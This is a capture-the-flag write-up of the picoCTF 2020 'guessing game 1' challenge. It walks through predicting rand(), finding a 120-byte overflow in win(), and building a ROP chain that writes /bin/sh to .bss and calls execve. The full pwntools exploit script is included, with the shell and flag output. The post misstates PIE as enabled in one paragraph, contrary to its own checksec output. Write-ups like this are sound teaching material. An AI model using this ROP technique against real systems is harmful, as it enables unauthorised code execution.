Post

picoCTF 2020 - pwn: guessing game 1

References

1: https://mregraoncyber.com/picoctf-writeup-guessing-game-1/

2: https://github.com/dannyc-dev/Building-the-ROP-Chain

3: https://cyb3rwhitesnake.medium.com/picoctf-guessing-game-1-pwn-bdc1c87016f9

Investigation

file ./vuln

1
vuln: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=94924855c14a01a7b5b38d9ed368fba31dfd4f60, not stripped

This tells us that this executable contains all the libraries so we will be able to find a lot of gadgets if we have to find some.

Checksec result

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

PIE is disabled and NX is enabled so we won’t be able to execute anything by putting things onto the stack. We will need to do some ROP.

Decompliation

Main function

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned int v3; // [rsp+1Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2LL, 0LL);
v3 = getegid();
setresgid(v3, v3, v3);
puts("Welcome to my guessing game!\n");

while ( 1 )
{
  while ( !(unsigned int)do_stuff() )
    ;
  win();
}

The do_stuff() seems to be the main logic of this program.

do_stuff()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
  __int64 random; // rax
  char v2[104]; // [rsp+0h] [rbp-80h] BYREF
  __int64 v3; // [rsp+68h] [rbp-18h]
  __int64 v4; // [rsp+70h] [rbp-10h]
  unsigned int v5; // [rsp+7Ch] [rbp-4h]

  random = get_random();
  v4 = increment(random);
  v5 = 0;
  puts("What number would you like to guess?");
  fgets(v2, 100LL, stdin);
  v3 = atol(v2);
  if ( v3 )
  {
    if ( v3 == v4 )
    {
      puts("Congrats! You win! Your prize is this print statement!\n");
      return 1;
    }
    else
    {
      puts("Nope!\n");
    }
  }
  else
  {
    puts("That's not a valid number!");
  }
  return v5;

win()

1
2
3
4
5
6
7
8
9
10
11
12
nt64 __fastcall win(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // edx
  int v7; // ecx
  int v8; // r8d
  int v9; // r9d
  char v11[112]; // [rsp+0h] [rbp-70h] BYREF

  printf((unsigned int)"New winner!\nName? ", a2, a3, a4, a5, a6, v11[0]);
  fgets(v11, 360LL, stdin);
  return printf((unsigned int)"Congrats %s\n\n", (unsigned int)v11, v6, v7, v8, v9, v11[0]);
}

get_random() does one job rand() % 100. rand() from the standard library returns a pseudo-random number (between 0 and 32767 which is the RAND_MAX value). From the reference [1], I learned that rand() generates numbers can be guessed because they are generated by having a pattern. This means that every time we run this program, it will generate the same number and we will be able to guess that number by creating a small program.

Once we give the program the correct guess, it will execute win() asking for the name of user. As we can see from the decompiled code, win() has a buffer that we can use to store our rop chain.

Using gdb-gef to find an offset to the buffer that stores the name of the user, it was 120 bytes.

Collecting gadgets

Our goal is likely to use execve() to run a shell /bin/sh. execve() needs three arguments to it: the file path to execute, argv, and envp. And the second and the third arguments can be null. I used to use rp++ to find gadgets, but ROPgadget provides useful steps to create a rop chain (rp++ might have something like this too but I have not done my research). By simply running ROPgadget --binary ./vuln --ropchain, you will get something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

        [+] Gadget found: 0x47ff91 mov qword ptr [rsi], rax ; ret
        [+] Gadget found: 0x410ca3 pop rsi ; ret
        [+] Gadget found: 0x4163f4 pop rax ; ret
        [+] Gadget found: 0x445950 xor rax, rax ; ret

- Step 2 -- Init syscall number gadgets

        [+] Gadget found: 0x445950 xor rax, rax ; ret
        [+] Gadget found: 0x475430 add rax, 1 ; ret
        [+] Gadget found: 0x475431 add eax, 1 ; ret

- Step 3 -- Init syscall arguments gadgets

        [+] Gadget found: 0x400696 pop rdi ; ret
        [+] Gadget found: 0x410ca3 pop rsi ; ret
        [+] Gadget found: 0x44a6b5 pop rdx ; ret

- Step 4 -- Syscall gadget

        [+] Gadget found: 0x40137c syscall

Very convenient!

  • to move something into rdi register (first arg to a function)
    • 0x00400696: pop rdi ; ret;
  • to move something into rsi register (second arg to a function)
    • 0x410ca3 pop rsi ; ret;
  • to move something into rdx register (third arg to a function)
    • 0x44a6b5 pop rdx ; ret;
  • to move something into rax register (also where the syscall number goes into)
    • 0x4163f4 pop rax ; ret;
  • to move something into where rsi register points to
    • 0x47ff91 mov qword ptr [rsi], rax ; ret
  • to clear rax register
    • 0x445950 xor rax, rax ; ret;
  • to call syscall
    • 0x0040137c: syscall;
  • /bin/sh in the little endian format
    • 0x68732f6e69622f

Use of .bss section

From some research, since the executable’s PIE is enabled, we can utilize some memory segment that have READ/WRITE permissions such as .bss section. This can be checked by running the executable under GDB and checking its vmmap to see the start and the end of some memory region that have such permissions. Also, we can do readelf -S vuln to see all the section headers within the executable.

  • The address of WA segment of the memory
    • .bss: 0x00000000006bc3a0
    • this is where we are going to store /bin/sh

Now, we need to chain all these gadgets. Since we won’t be able to store the string onto the stack, we need to write /bin/sh into .bss section. How we are going to do is to bring the address of .bss section into rsi register since it is the file path argument for execve(). Then, we will have one of the registers hold /bin/sh string. After that, we will use this instruction 0x47ff91 mov qword ptr [rsi], rax ; ret; to assign the string value to the memory address that rsi register has. This will make sure that the address of .bss points to the start of /bin/sh (we will later bring this address into rdi).

It is important to realize what gadgets we are allowed to use and use them wisely to craft the chain. In this case, we have a gadget allows us to move something from rax into the memory address pointed by rsi and we have gadgets that do pop rsi, mov rax, and pop rax. So it makes sense that move the address of .bss segment into rsi, put the string value into rax by popping rax, move that rax’s value into the memory address stored in rsi, then finally move .bss address into rdi by popping rdi register (I am reiterating a lot but this is needed to make sure I understand what is going on).

I came up with this python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3

from pwn import *

exe = ELF("./vuln")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("jupiter.challenges.picoctf.org", 26735)

    return r


def main():
    r = conn()

    # good luck pwning :)

    bss_addr = p64(0x6bc3a0)
    syscall = p64(0x40137c)
    bin_sh = p64(0x68732f6e69622f) # /bin/sh in little endian

    pop_rdi = p64(0x400696)
    pop_rsi = p64(0x410ca3)
    pop_rdx = p64(0x44a6b5)
    pop_rax = p64(0x4163f4)
    mov_str_to_bss = p64(0x47ff91)
    execve_num = p64(0x3b)
    clear_rax = p64(0x445950)

    # we know that the offset to the ret address within the win() is 120 bytes

    payload = 120 * b'A'

    # we want 'rsi' register to have the address to .bss seg
    payload += pop_rsi
    payload += bss_addr

    # we put /bin/sh string into a temp register (in our case, rax)
    # then we move that str value to be pointed by rsi's mem address of .bss seg

    payload += pop_rax
    payload += bin_sh
    payload += mov_str_to_bss

    # clear rax by xor'ing then mov 59 or hex 0x3b into rax for execve() syscall

    payload += clear_rax # might not be necessary
    payload += pop_rax
    payload += execve_num

    # bring .bss address which points to the start of /bin/sh into rdi for execve()

    payload += pop_rdi
    payload += bss_addr

    # clear rsi and rdx (null)

    payload += pop_rsi
    payload += p64(0)
    payload += pop_rdx
    payload += p64(0)

    # syscall!

    payload += syscall

    # beginning of the program

    # 84 is the first sequence of the randomly generated numbers: rand() % 100 + 1
    r.sendline(b'84')
    r.sendline(payload)

    r.interactive()

if __name__ == "__main__":
    main()

The result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ python3 solve.py                                                                                            1 ⚙
[*] '/home/kali/ctf/picoctf2020/guessing-game-1/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to jupiter.challenges.picoctf.org on port 26735: Done
b'first: /bin/sh\x00'
b'second: hs/nib/'
[*] Switching to interactive mode
Welcome to my guessing game!

What number would you like to guess?
Congrats! You win! Your prize is this print statement!

New winner!
Name? Congrats AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa3\x0c

$ cat flag.txt
picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_b751b438dd8c4bb7}$

Nice! Thank you for reading.

This post is licensed under CC BY 4.0 by the author.